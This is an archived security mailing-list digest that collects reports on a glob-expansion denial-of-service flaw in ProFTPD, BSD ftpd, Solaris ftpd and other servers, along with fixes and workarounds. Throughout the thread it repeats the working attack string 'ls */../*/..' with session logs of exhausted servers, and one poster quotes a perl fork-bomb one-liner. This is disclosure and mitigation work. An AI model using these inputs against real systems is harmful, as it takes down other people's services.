Re: Multiple vendors FTP denial of service

[Elias Levy <aleph1 () SECURITYFOCUS COM>]

Summary of responces to the FTPD glob vulnerability:

From: "Riad S. Wahby" <rsw () mit edu>

BeroFTPD version 1.3.4 is also vulnerable.


From: Vinicius Vianna <ds () listas hacked com br>

Proftpd (running as standalone) on FreeBSD 4.2-STABLE don't seems to be
 vulnerable to this:

$ ftp 127.1
...
220 ProFTPD 1.2.0rc3 Server
...
230 Anonymous access granted, restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 Entering Passive Mode (127,0,0,1,9,70).
150 Opening ASCII mode data connection for file list
...
-rw-r--r--   1 root     wheel      117599 Mar 15 08:00
pub/../pub/../pub/../pub/../pub/../pub/../pub/../pub/../pub/../pub/../pub/.
./pub/../ls-lR.gz
...
226 Transfer complete.

No delay on the answer of the server, maybe this depends of some
configuration details.


From: "Fab Siciliano" <fsiciliano () earthlink net>

I tested that on a Unix running Proftpd 1.2.0, I got:

C:\WINDOWS>ftp www.vulnerable?.com
Connected to www.vulnerable?.com.
220 ProFTPD 1.2.0pre10 Server (hermes) [hermes]
User (www.vulerable?.com:(none)): ********
331 Password required for ***********.
Password:****************
230 User f028237 logged in.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
200 PORT command successful.

and nothing happens...just a pause. But I can still access the server w/o
delay.


From: Jim Kovalchuk <raxor () dexlink com>

Tested on a VAlinux Fullon2200 ( 2*PIII 650 ) server with a SCSI RAID
array.

Running PROftpD version 1.2.0.
After executing the command the server seemed to lag for about 2 seconds.
Then a huge directory listing was dumped.
This did not cause any DoS.
Perhaps on a slower machine with slower drives it might have.


From: jedi () claranet fr

Jim Kovalchuk écrit:                                                                                                    
                                        > Tested on a VAlinux Fullon2200 ( 2*PIII 650 ) server with a SCSI RAID
   > array.
   > After executing the command the server seemed to lag for about 2 seconds.
   > This did not cause any DoS.

     Try to add more */..


From: "Jeff Dafoe" <jeffd () evcom net>

This issue is reasonably serious and applies to more than just proftpd
("ls" can result in box DoS).  It is mitigated via resource limitations.


From: Jerry Walsh <jerry () aardvark ie>

VUNERABLE:

FreeBSD 3.5-STABLE
FreeBSD 4.2-STABLE
OpenBSD 2.6

Safe to say all BSD ftpd's are vunerable.


From: Chris Johnson <johnson () nmr mgh harvard edu>

     I think it's unclear that this is an FTP server problem.  I just
ran the same command on RH linux 6.2 and it chewed up 100 % of the CPU
and drove the disk crazy until it produced an "Out of memory.".

     I'm suspecting this might really be an OS issue assuming an FTP
server just passes the command along.


From: Diane Bruce <db () db net>

  The bug is not actually in proftpd, its in glob.c

  It affects other ftpd daemons as well.

  Its also not limited to ftpd
bash-2.04$ ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

  PID USERNAME PRI NICE  SIZE    RES STATE    TIME   WCPU    CPU COMMAND
  240 db        54   0 15692K 15320K RUN      1:22 89.26% 89.26% bash

  Jonathan Lemon of the FreeBSD team is doing a fix for glob.c
this should be posted shortly.


From: Diane Bruce <db () db net>

  We have just discovered solaris is affected as well, it might
be prudent to hold off on this posting until SUN is notified.


From: "Jeff Dafoe" <jeffd () evcom net>

This is not just an ftpd issue, it's a shell expansion issue.  You can DoS
the affected servers with ls issued from the shell.


From: "Diego Tironi" <dedox () tin it>

ftpd-BSD-0.2.3-4 port for linux is also vulnerable


From: Chris Johnson <johnson () nmr mgh harvard edu>

     As a follow up, I ran thi command under 4 shells on RH linux 6.2

     tcsh  ran out of memory after 2 or 3 minutes, used 100% of the
           cpu to the point of noticable delays in other running jobs.

     csh   ran out of memory after 5 or 6 minutes, used 100% of the
           cpu but didn't seem to cause serious delays

     bash  seg faulted after 6 minutes, didn't start using 100%% cpu
           only 20 to 99, after 5 mintes in started hammering the disk
           and used WAY more than 100% cpu causing signification
           delays in other jobs

     ksh   killed it after 20 minutes, used 100% of the cpu, started
           using but not hammering the disk after 10 minutes

     I think it depends on which shell is running the ls command for
the FTP server as to just how bad and how long the DoS is.  Note, the
only one I seemed to be able to cnrtl-C out of was the ksh.  And that
took a minute or so.  Once these things start expanding the path they
REALLY what to finish.  Typical shell behavior.

     I'm still unconvinced it's the FTP server.  I think it's the
shell.  Might not make much difference to an attacker but it does make
a difference on where to look for the problem.


From: "Ryan W. Maple" <ryan () guardiandigital com>

I tested this exploit against vsftpd 0.0.14 and it is not vulnerable:

  220 ready, dude (vsFTPd 0.0.14 (BETA): beat me, break me)
  Name (testbox:rwm): anonymous
  331 Please specify the password.
  Password:
  230-
  230 Login successful. Have fun.
  Remote system type is UNIX.
  Using binary mode to transfer files.
  ftp> passive
  Passive mode on.
  ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
  227 Passive mode engaged (192,168,1,170,36,97)
  150 Here comes the directory listing.
  226 Transfer done (but failed to open directory).


From: jedi () claranet fr

>      I'm still unconvinced it's the FTP server.  I think it's the
> shell.

  Not for FTP servers with a built-in 'ls' that doesn't rely on a shell.

  This is a general problem with all applications/libraries doing globbing
on a filesystem namespace, where looping can occur.

  A possible fix would be to avoid scanning an inode we already are in.

  Pure-FTPd 0.96-final ( http://www.pureftpd.org ) implements this, but
there are maybe better/faster approaches.


From: "Brad Skinner" <bskinner () netdoor com>

The result from an OpenBSD 2.7-stable machine (i386)

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
229 Entering Extended Passive Mode (|||15818|)
550 not found
ftp> ls
421 Service not available, remote server has closed connection.

Took approximately 10 seconds to disconnect on an AMD 750.

The result from an OpenBSD 2.6-stable machine (sparc ss4)

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
229 Entering Extended Passive Mode (|||20766|)
550 not found
ftp> ls
421 Service not available, remote server has closed connection.

Took approximately 120 seconds to disconnect on 110mhz sparc.
CPU went to 100% in both cases


From: Tom Parker <tom () rooted net>

This dosnt just apply to FTP (Under linux at least).
If you attempt to reference `/../*/../*/../*/...' etc etc
in a shell, ftp, or otherwise it eats up large
amounts of memory and CPU.

At the end of the day there are pleanty of ways we
already know of, where un-privilaged users can cause
excessive usage of system resources;
Allot of them far more serious than this..
For example perl -e 'open(U, "/dev/urandom");
            while(<U>) { fork(); }
would bring most linux based systems to their knees.
Ive never seen this tried on OpenBSD althogh I suspec
it would prove somewhat more resiliant.


From: "Bill Burdick Jr." <wrb () vbni com>

It looks as though the proftpd version of this DoS is only effective if you
have multiple directories in your ftp root that you try the ls */..  ..etc
command on.  Also, it appears that if you have file listing turned off  that
the command has no affect on proftpd.  Also, if you have just one directory (or
a very small number of directories) that there is no DoS action.

Checked on proftpd on Debian Potato.


From: "David LeBlanc" <dleblanc () mindspring com>

The reason that wu-ftpd isn't vulnerable is because they fixed the same
thing a few years ago. I think if you look in the archives that this one is
already known - but given that a lot of people are switching from wu-ftpd,
it's good to know about the problem existing in other servers.


From: Matt Forrest <mforrest () scs Ryerson CA>

It appears that the default Solaris 7 ftp daemon is also vulnerable.

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
200 PORT command successful.
(ftp session stops responding)

If you kill the ftp session, the daemon is still running.


From: Gossi The Dog <gossi () owned lab6 com>

It also causes extreme memory usage by the proftpd process - within 2
minutes of executing said command on my Cobalt RaQ3 running ProFTPD 1.2.0,
the process was using over 120mbs of memory (!).


From: Martin McFlySr <Martin () McFlySr Kurgan Ru>
To: "Frank DENIS (Jedi/Sector One)" <j () 4U NET>

workaround for proftpd:
use in proftpd.conf:

DenyFilter              /\*/\.\.


From: Ted Behling <TBehling () MonarchIS net>

Whee!  I have confirmed this to consume 100% of CPU cycles and 40% of my
Cobalt RaQ server's 512MB of RAM (at the time I killed it), running ProFTPD
version 1.2.0pre9 on Linux 2.2.14.  This is a very good reason to not allow
anonymous FTP access to your Web server.

Finally, an exploit "skript kideez" can use without having a C compiler, or
even Perl...  This is scary.


From: Van <clouseau () armor-e com>

While this could be considered a DOS, on the
ProFTP 1.2.0 machine I tested, the command
mentioned in the discussion did cause CPU load to
increase to 100%, but, did not crash the service.
It just took it a long time to execute the ls
command mentioned above.  Other connections were
allowed.

If you think about it, this command does exactly
what the end-user is asking it to:  list all files
on the system recursively a bunch of times.  This
file list request would consume excessive CPU
cycles on any machine.

You could probably minimize the exposure by using
the defaultroot ~ directive in proftpd.conf which
will limit the extent of the recursion to what's
in the user's directory.

Although, not really a DOS, it's arguably
irresponsible behavior for an ftp server to allow
it.


Form: Olaf Kirch <okir () caldera de>

I'm surprised to see that this bug is still around. This became
publicly known something like 2 years ago.


From: ozone <ozone () rm-f net>:

I tested this on FreeBSD 4.2-RELEASE ftpd Version 6.00LS with user 'anonymous'.
The command mentioned by Frank DENIS used most of the available cpu, and
the ftpd process gradually increased in size until getting killed by the kernel
(after about 6 minutes) for taking up all the swap space. During(and after)
this time, all of services on the machine (including ftp) remained useable
(but slightly lagged). Simultaneous users issuing the same command did not seem
to make much of a difference.

client:

230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
< =~ 6 minute hang >
421 Service not available, remote server has closed connection.

server:

PID USERNAME PRI NICE  SIZE    RES STATE    TIME   WCPU    CPU COMMAND
8526 root      56   0   171M    98M RUN      4:20 84.13% 84.13% ftpd

/kernel: swap_pager: out of swap space
/kernel: swap_pager_getswapspace: failed
/kernel: pid 8526 (ftpd), uid 14, was killed: out of swap space


From: Luis Miguel Ferreira Silva <lms () ispgaya pt>

ahmm, this looks pretty WEIRD.. ;)
A dewd writes stating that HE found a bug [at least, it looked like it]...
Showed a "paste" of the proftpd site crashing...
And then, proftpd states that they where the ones who found the bug?!
ROTFL :)

--
Elias Levy
SecurityFocus.com
http://www.securityfocus.com/
Si vis pacem, para bellum